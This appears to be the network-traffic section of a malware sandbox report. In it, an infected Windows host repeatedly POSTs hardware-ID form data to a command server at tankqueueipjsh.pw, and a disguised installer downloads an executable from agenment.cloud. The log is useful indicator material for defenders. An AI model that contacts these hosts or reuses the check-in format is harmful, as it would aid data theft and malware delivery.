Dec 6, 2023 14:35:31.939810038 CET	1340	IN	HTTP/1.1 200 OK Date: Wed, 06 Dec 2023 13:35:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/8.2.7 Set-Cookie: PHPSESSID=lj1j4aiucjko5k1k04kr7c7k29; expires=Sun, 31 Mar 2024 07:22:10 GMT; Max-Age=9999999; path=/ Set-Cookie: xdober_setting_show_country=1; expires=Sun, 04 Feb 2024 13:35:31 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_use_round=1; expires=Sun, 04 Feb 2024 13:35:31 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_round_n=2; expires=Sun, 04 Feb 2024 13:35:31 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_big_flags=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/ Set-Cookie: xdober_setting_ai_detect=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=KiW5AcvATvQ98zfBGkA3lj1IYqKZ6l9xcEJKcG%2FcZ9XEwuUdWvkNnSIE0DNEkMiIl28OnpiU2rKUTerIeEYBiSvgwSbNGxopZRJBmunpEehLEJ6kWKPNGXbdpwDwg%2FNUNmPk5w%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudf Data Raw: Data Ascii:
Dec 6, 2023 14:35:31.939944029 CET	118	IN	Data Raw: 61 72 65 0d 0a 43 46 2d 52 41 59 3a 20 38 33 31 34 65 39 39 65 39 66 33 33 30 35 39 37 2d 49 41 44 0d 0a 0d 0a 31 35 0d 0a 4d 61 6c 66 6f 72 6d 65 64 20 70 61 63 6b 65 74 20 64 61 74 61 0d 0a Data Ascii: areCF-RAY: 8314e99e9f330597-IAD15Malformed packet data
Dec 6, 2023 14:35:31.939955950 CET	59	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
54	192.168.2.5	50240	104.21.83.145	80

Timestamp	Bytes transferred	Direction	Data
Dec 6, 2023 14:35:36.356295109 CET	335	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 500 Host: tankqueueipjsh.pw
Dec 6, 2023 14:35:36.356453896 CET	554	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 6c 32 66 38 64 61 37 33 32 64 30 30 30 Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"l2f8da732d0000f9170d343b08f146u--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"Me
Dec 6, 2023 14:35:36.622420073 CET	1340	IN	HTTP/1.1 200 OK Date: Wed, 06 Dec 2023 13:35:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/8.2.7 Set-Cookie: PHPSESSID=7h2bf80j89f52bakvccsk2igg2; expires=Sun, 31 Mar 2024 07:22:15 GMT; Max-Age=9999999; path=/ Set-Cookie: xdober_setting_show_country=1; expires=Sun, 04 Feb 2024 13:35:36 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_use_round=1; expires=Sun, 04 Feb 2024 13:35:36 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_round_n=2; expires=Sun, 04 Feb 2024 13:35:36 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_big_flags=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/ Set-Cookie: xdober_setting_ai_detect=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=U0uzJHCG3Ib%2B4rxZRItFY5OyaCwrdvYawWjerUWCmydn%2BbZg8ezZHJgkT2Vn07r0fkLbujksKk3h43XB9RGmLs5cpKDCSH6How0U7f3NR6zrl2B4G2slOIQ41wnUqtjwG%2Bxo%2BA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cl Data Raw: Data Ascii:
Dec 6, 2023 14:35:36.622442961 CET	122	IN	Data Raw: 75 64 66 6c 61 72 65 0d 0a 43 46 2d 52 41 59 3a 20 38 33 31 34 65 39 62 63 37 62 38 31 32 30 39 39 2d 49 41 44 0d 0a 0d 0a 31 35 0d 0a 4d 61 6c 66 6f 72 6d 65 64 20 70 61 63 6b 65 74 20 64 61 74 61 0d 0a Data Ascii: udflareCF-RAY: 8314e9bc7b812099-IAD15Malformed packet data
Dec 6, 2023 14:35:36.622478008 CET	59	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
55	192.168.2.5	50241	104.21.83.145	80

Timestamp	Bytes transferred	Direction	Data
Dec 6, 2023 14:35:37.389102936 CET	335	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 500 Host: tankqueueipjsh.pw
Dec 6, 2023 14:35:37.389303923 CET	554	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 6c 32 66 38 64 61 37 33 32 64 30 30 30 Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"l2f8da732d0000f9170d343b08f146u--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"Me
Dec 6, 2023 14:35:37.739571095 CET	1340	IN	HTTP/1.1 200 OK Date: Wed, 06 Dec 2023 13:35:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/8.2.7 Set-Cookie: PHPSESSID=ddk1kmmpa11t9nqsb3ec32tpth; expires=Sun, 31 Mar 2024 07:22:16 GMT; Max-Age=9999999; path=/ Set-Cookie: xdober_setting_show_country=1; expires=Sun, 04 Feb 2024 13:35:37 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_use_round=1; expires=Sun, 04 Feb 2024 13:35:37 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_round_n=2; expires=Sun, 04 Feb 2024 13:35:37 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_big_flags=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/ Set-Cookie: xdober_setting_ai_detect=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=tu7j6NvAprvDSPinBEu5BAGzbtcKILILMGsI2n6DfchFDTcrmbWW3WuW%2FenR829zv2Ji%2F46OFHpxLP6DQrouXszCr4rzxJLlB4lAarfcLLjAJx3rNL0WPkDGKUUlBpwA%2BX2Axw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: clou Data Raw: Data Ascii:
Dec 6, 2023 14:35:37.739583969 CET	120	IN	Data Raw: 66 6c 61 72 65 0d 0a 43 46 2d 52 41 59 3a 20 38 33 31 34 65 39 63 32 65 39 63 38 33 39 38 62 2d 49 41 44 0d 0a 0d 0a 31 35 0d 0a 4d 61 6c 66 6f 72 6d 65 64 20 70 61 63 6b 65 74 20 64 61 74 61 0d 0a Data Ascii: flareCF-RAY: 8314e9c2e9c8398b-IAD15Malformed packet data
Dec 6, 2023 14:35:37.739594936 CET	59	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
56	192.168.2.5	50242	104.21.83.145	80

Timestamp	Bytes transferred	Direction	Data
Dec 6, 2023 14:35:37.841597080 CET	335	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 500 Host: tankqueueipjsh.pw
Dec 6, 2023 14:35:37.841785908 CET	554	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 6c 32 66 38 64 61 37 33 32 64 30 30 30 Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"l2f8da732d0000f9170d343b08f146u--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"Me
Dec 6, 2023 14:35:38.197607040 CET	1340	IN	HTTP/1.1 200 OK Date: Wed, 06 Dec 2023 13:35:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/8.2.7 Set-Cookie: PHPSESSID=mquoj1rnp6p60pppf1uoigmanq; expires=Sun, 31 Mar 2024 07:22:17 GMT; Max-Age=9999999; path=/ Set-Cookie: xdober_setting_show_country=1; expires=Sun, 04 Feb 2024 13:35:38 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_use_round=1; expires=Sun, 04 Feb 2024 13:35:38 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_round_n=2; expires=Sun, 04 Feb 2024 13:35:38 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_big_flags=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/ Set-Cookie: xdober_setting_ai_detect=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=YJ7ZV57fFRtzmJegTf6MA0tjEmmis7LvLqgchqekpfdTtCU2loZxE%2FO7Axm6VvBKhNpH9tEbXO7Q6EF3tEYEF3Qnz9fVMB4UFsXC8dIoOeuHJqYTGEv%2F3OTqI61Bnyx1aE1W6w%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudf Data Raw: Data Ascii:
Dec 6, 2023 14:35:38.197643995 CET	118	IN	Data Raw: 61 72 65 0d 0a 43 46 2d 52 41 59 3a 20 38 33 31 34 65 39 63 35 63 38 30 63 33 39 32 35 2d 49 41 44 0d 0a 0d 0a 31 35 0d 0a 4d 61 6c 66 6f 72 6d 65 64 20 70 61 63 6b 65 74 20 64 61 74 61 0d 0a Data Ascii: areCF-RAY: 8314e9c5c80c3925-IAD15Malformed packet data
Dec 6, 2023 14:35:38.197694063 CET	59	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
57	192.168.2.5	50243	104.21.83.145	80

Timestamp	Bytes transferred	Direction	Data
Dec 6, 2023 14:35:38.301213980 CET	335	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 500 Host: tankqueueipjsh.pw
Dec 6, 2023 14:35:38.301549911 CET	554	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 6c 32 66 38 64 61 37 33 32 64 30 30 30 Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"l2f8da732d0000f9170d343b08f146u--be85de5ipdocierre1Content-Disposition: form-data; name="pid"3--be85de5ipdocierre1Content-Disposition: form-data; name="lid"Me
Dec 6, 2023 14:35:38.655330896 CET	1340	IN	HTTP/1.1 200 OK Date: Wed, 06 Dec 2023 13:35:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/8.2.7 Set-Cookie: PHPSESSID=frhg6nglppekimpg0lou6g9gn5; expires=Sun, 31 Mar 2024 07:22:17 GMT; Max-Age=9999999; path=/ Set-Cookie: xdober_setting_show_country=1; expires=Sun, 04 Feb 2024 13:35:38 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_use_round=1; expires=Sun, 04 Feb 2024 13:35:38 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_round_n=2; expires=Sun, 04 Feb 2024 13:35:38 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_big_flags=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/ Set-Cookie: xdober_setting_ai_detect=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=n0RCBrWz1Gzv7%2FJAS1%2F%2FbIwL0X4pueQrvHK%2BPZvzF3n66KMxOngDYIvfs1y4HqPfPI0BfmtmYiYDuMAAc6Jw0rk9vRCvJV51r%2FGMJZZao4afj%2FBIG837pvlU1C6Ir7RDfT4d1w%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server Data Raw: Data Ascii:
Dec 6, 2023 14:35:38.655344009 CET	126	IN	Data Raw: 20 63 6c 6f 75 64 66 6c 61 72 65 0d 0a 43 46 2d 52 41 59 3a 20 38 33 31 34 65 39 63 38 39 39 31 34 32 30 63 34 2d 49 41 44 0d 0a 0d 0a 31 35 0d 0a 4d 61 6c 66 6f 72 6d 65 64 20 70 61 63 6b 65 74 20 64 61 74 61 0d 0a Data Ascii: cloudflareCF-RAY: 8314e9c8991420c4-IAD15Malformed packet data
Dec 6, 2023 14:35:38.655355930 CET	59	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
58	192.168.2.5	50244	104.21.83.145	80

Timestamp	Bytes transferred	Direction	Data
Dec 6, 2023 14:35:38.763139009 CET	336	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1327 Host: tankqueueipjsh.pw
Dec 6, 2023 14:35:38.763765097 CET	1381	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 6c 32 66 38 64 61 37 33 32 64 30 30 30 Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"l2f8da732d0000f9170d343b08f146u--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"Me
Dec 6, 2023 14:35:39.117477894 CET	1340	IN	HTTP/1.1 200 OK Date: Wed, 06 Dec 2023 13:35:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/8.2.7 Set-Cookie: PHPSESSID=vrhem73k9u16169c7bc2ej0c0a; expires=Sun, 31 Mar 2024 07:22:17 GMT; Max-Age=9999999; path=/ Set-Cookie: xdober_setting_show_country=1; expires=Sun, 04 Feb 2024 13:35:38 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_use_round=1; expires=Sun, 04 Feb 2024 13:35:38 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_round_n=2; expires=Sun, 04 Feb 2024 13:35:38 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_big_flags=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/ Set-Cookie: xdober_setting_ai_detect=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=V9%2BKhgPSJIAQDTWwchnNqglr%2FvO347HtNynQuwsyRxFxDHgyhFlRoz9KXVXICnp%2FNEiUjBQy5XlHlkoP9Uj%2BN8O1UB1%2BTv5NQ7vjHXNlFJXWeYxvZsOy1IDetZHH2HznDx7%2Frg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server Data Raw: Data Ascii:
Dec 6, 2023 14:35:39.117494106 CET	121	IN	Data Raw: 20 63 6c 6f 75 64 66 6c 61 72 65 0d 0a 43 46 2d 52 41 59 3a 20 38 33 31 34 65 39 63 62 38 65 32 36 38 32 33 63 2d 49 41 44 0d 0a 0d 0a 31 30 0d 0a 6f 6b 20 31 30 32 2e 31 36 35 2e 34 38 2e 38 33 0d 0a Data Ascii: cloudflareCF-RAY: 8314e9cb8e26823c-IAD10ok 102.165.48.83
Dec 6, 2023 14:35:39.117505074 CET	59	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49707	172.67.198.151	443	1992	C:\Users\user\AppData\Local\Temp\is-UKDSG.tmp\setup.tmp

Timestamp	Bytes transferred	Direction	Data
2023-12-06 13:33:07 UTC	180	OUT	HEAD /ss.php?a=3890&cc=US&t=1701869569 HTTP/1.1 Accept: / User-Agent: InnoDownloadPlugin/1.5 Host: false.apparelsilver.xyz Connection: Keep-Alive Cache-Control: no-cache
2023-12-06 13:33:07 UTC	589	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d 0a 44 61 74 65 3a 20 57 65 64 2c 20 30 36 20 44 65 63 20 32 30 32 33 20 31 33 3a 33 33 3a 30 37 20 47 4d 54 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 70 6c 61 69 6e 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 32 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 58 2d 50 6f 77 65 72 65 64 2d 42 79 3a 20 50 48 50 2f 35 2e 35 2e 33 38 0d 0a 43 46 2d 43 61 63 68 65 2d 53 74 61 74 75 73 3a 20 44 59 4e 41 4d 49 43 0d 0a 52 65 70 6f 72 74 2d 54 6f 3a 20 7b 22 65 6e 64 70 6f 69 6e 74 73 22 3a 5b 7b 22 75 72 6c 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 61 2e 6e 65 6c 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 5c 2f 72 65 70 6f 72 74 5c 2f 76 33 3f 73 3d 59 75 57 50 6c 35 41 Data Ascii: HTTP/1.1 200 OKDate: Wed, 06 Dec 2023 13:33:07 GMTContent-Type: text/plainContent-Length: 2Connection: closeX-Powered-By: PHP/5.5.38CF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=YuWPl5A

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49708	172.67.198.151	443	1992	C:\Users\user\AppData\Local\Temp\is-UKDSG.tmp\setup.tmp

Timestamp	Bytes transferred	Direction	Data
2023-12-06 13:33:07 UTC	179	OUT	GET /ss.php?a=3890&cc=US&t=1701869569 HTTP/1.1 Accept: / User-Agent: InnoDownloadPlugin/1.5 Host: false.apparelsilver.xyz Connection: Keep-Alive Cache-Control: no-cache
2023-12-06 13:33:08 UTC	593	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d 0a 44 61 74 65 3a 20 57 65 64 2c 20 30 36 20 44 65 63 20 32 30 32 33 20 31 33 3a 33 33 3a 30 38 20 47 4d 54 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 70 6c 61 69 6e 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 32 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 58 2d 50 6f 77 65 72 65 64 2d 42 79 3a 20 50 48 50 2f 35 2e 35 2e 33 38 0d 0a 43 46 2d 43 61 63 68 65 2d 53 74 61 74 75 73 3a 20 44 59 4e 41 4d 49 43 0d 0a 52 65 70 6f 72 74 2d 54 6f 3a 20 7b 22 65 6e 64 70 6f 69 6e 74 73 22 3a 5b 7b 22 75 72 6c 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 61 2e 6e 65 6c 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 5c 2f 72 65 70 6f 72 74 5c 2f 76 33 3f 73 3d 62 4b 36 32 79 49 7a Data Ascii: HTTP/1.1 200 OKDate: Wed, 06 Dec 2023 13:33:08 GMTContent-Type: text/plainContent-Length: 2Connection: closeX-Powered-By: PHP/5.5.38CF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=bK62yIz
2023-12-06 13:33:08 UTC	2	IN	Data Raw: 6f 6b Data Ascii: ok

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	49709	185.23.108.224	443	1992	C:\Users\user\AppData\Local\Temp\is-UKDSG.tmp\setup.tmp

Timestamp	Bytes transferred	Direction	Data
2023-12-06 13:33:08 UTC	165	OUT	HEAD /win/Inalstal_98220.exe HTTP/1.1 Accept: / User-Agent: InnoDownloadPlugin/1.5 Host: www.agenment.cloud Connection: Keep-Alive Cache-Control: no-cache
2023-12-06 13:33:09 UTC	261	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d 0a 53 65 72 76 65 72 3a 20 6e 67 69 6e 78 2f 31 2e 32 30 2e 32 0d 0a 44 61 74 65 3a 20 57 65 64 2c 20 30 36 20 44 65 63 20 32 30 32 33 20 31 33 3a 33 33 3a 30 38 20 47 4d 54 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 31 31 30 38 37 38 33 39 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 4c 61 73 74 2d 4d 6f 64 69 66 69 65 64 3a 20 54 75 65 2c 20 30 35 20 44 65 63 20 32 30 32 33 20 31 39 3a 34 31 3a 32 32 20 47 4d 54 0d 0a 45 54 61 67 3a 20 22 61 39 32 66 64 66 2d 36 30 62 63 38 36 62 35 34 62 65 64 34 22 0d 0a 41 63 63 65 70 74 2d 52 61 6e 67 65 73 3a 20 62 79 74 Data Ascii: HTTP/1.1 200 OKServer: nginx/1.20.2Date: Wed, 06 Dec 2023 13:33:08 GMTContent-Type: application/octet-streamContent-Length: 11087839Connection: closeLast-Modified: Tue, 05 Dec 2023 19:41:22 GMTETag: "a92fdf-60bc86b54bed4"Accept-Ranges: byt

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.5	49710	185.23.108.224	443	1992	C:\Users\user\AppData\Local\Temp\is-UKDSG.tmp\setup.tmp

Timestamp	Bytes transferred	Direction	Data
2023-12-06 13:33:09 UTC	164	OUT	GET /win/Inalstal_98220.exe HTTP/1.1 Accept: / User-Agent: InnoDownloadPlugin/1.5 Host: www.agenment.cloud Connection: Keep-Alive Cache-Control: no-cache
2023-12-06 13:33:09 UTC	261	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d 0a 53 65 72 76 65 72 3a 20 6e 67 69 6e 78 2f 31 2e 32 30 2e 32 0d 0a 44 61 74 65 3a 20 57 65 64 2c 20 30 36 20 44 65 63 20 32 30 32 33 20 31 33 3a 33 33 3a 30 39 20 47 4d 54 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 31 31 30 38 37 38 33 39 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 4c 61 73 74 2d 4d 6f 64 69 66 69 65 64 3a 20 54 75 65 2c 20 30 35 20 44 65 63 20 32 30 32 33 20 31 39 3a 34 31 3a 32 32 20 47 4d 54 0d 0a 45 54 61 67 3a 20 22 61 39 32 66 64 66 2d 36 30 62 63 38 36 62 35 34 62 65 64 34 22 0d 0a 41 63 63 65 70 74 2d 52 61 6e 67 65 73 3a 20 62 79 74 Data Ascii: HTTP/1.1 200 OKServer: nginx/1.20.2Date: Wed, 06 Dec 2023 13:33:09 GMTContent-Type: application/octet-streamContent-Length: 11087839Connection: closeLast-Modified: Tue, 05 Dec 2023 19:41:22 GMTETag: "a92fdf-60bc86b54bed4"Accept-Ranges: byt
2023-12-06 13:33:09 UTC	16123	IN	Data Raw: 4d 5a 50 00 02 00 00 00 04 00 0f 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 ba 10 00 0e 1f b4 09 cd 21 b8 01 4c cd 21 90 90 54 68 69 73 20 70 72 6f 67 72 61 6d 20 6d 75 73 74 20 62 65 20 72 75 6e 20 75 6e 64 65 72 20 57 69 6e 33 32 0d 0a 24 37 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: MZP@!L!This program must be run under Win32$7
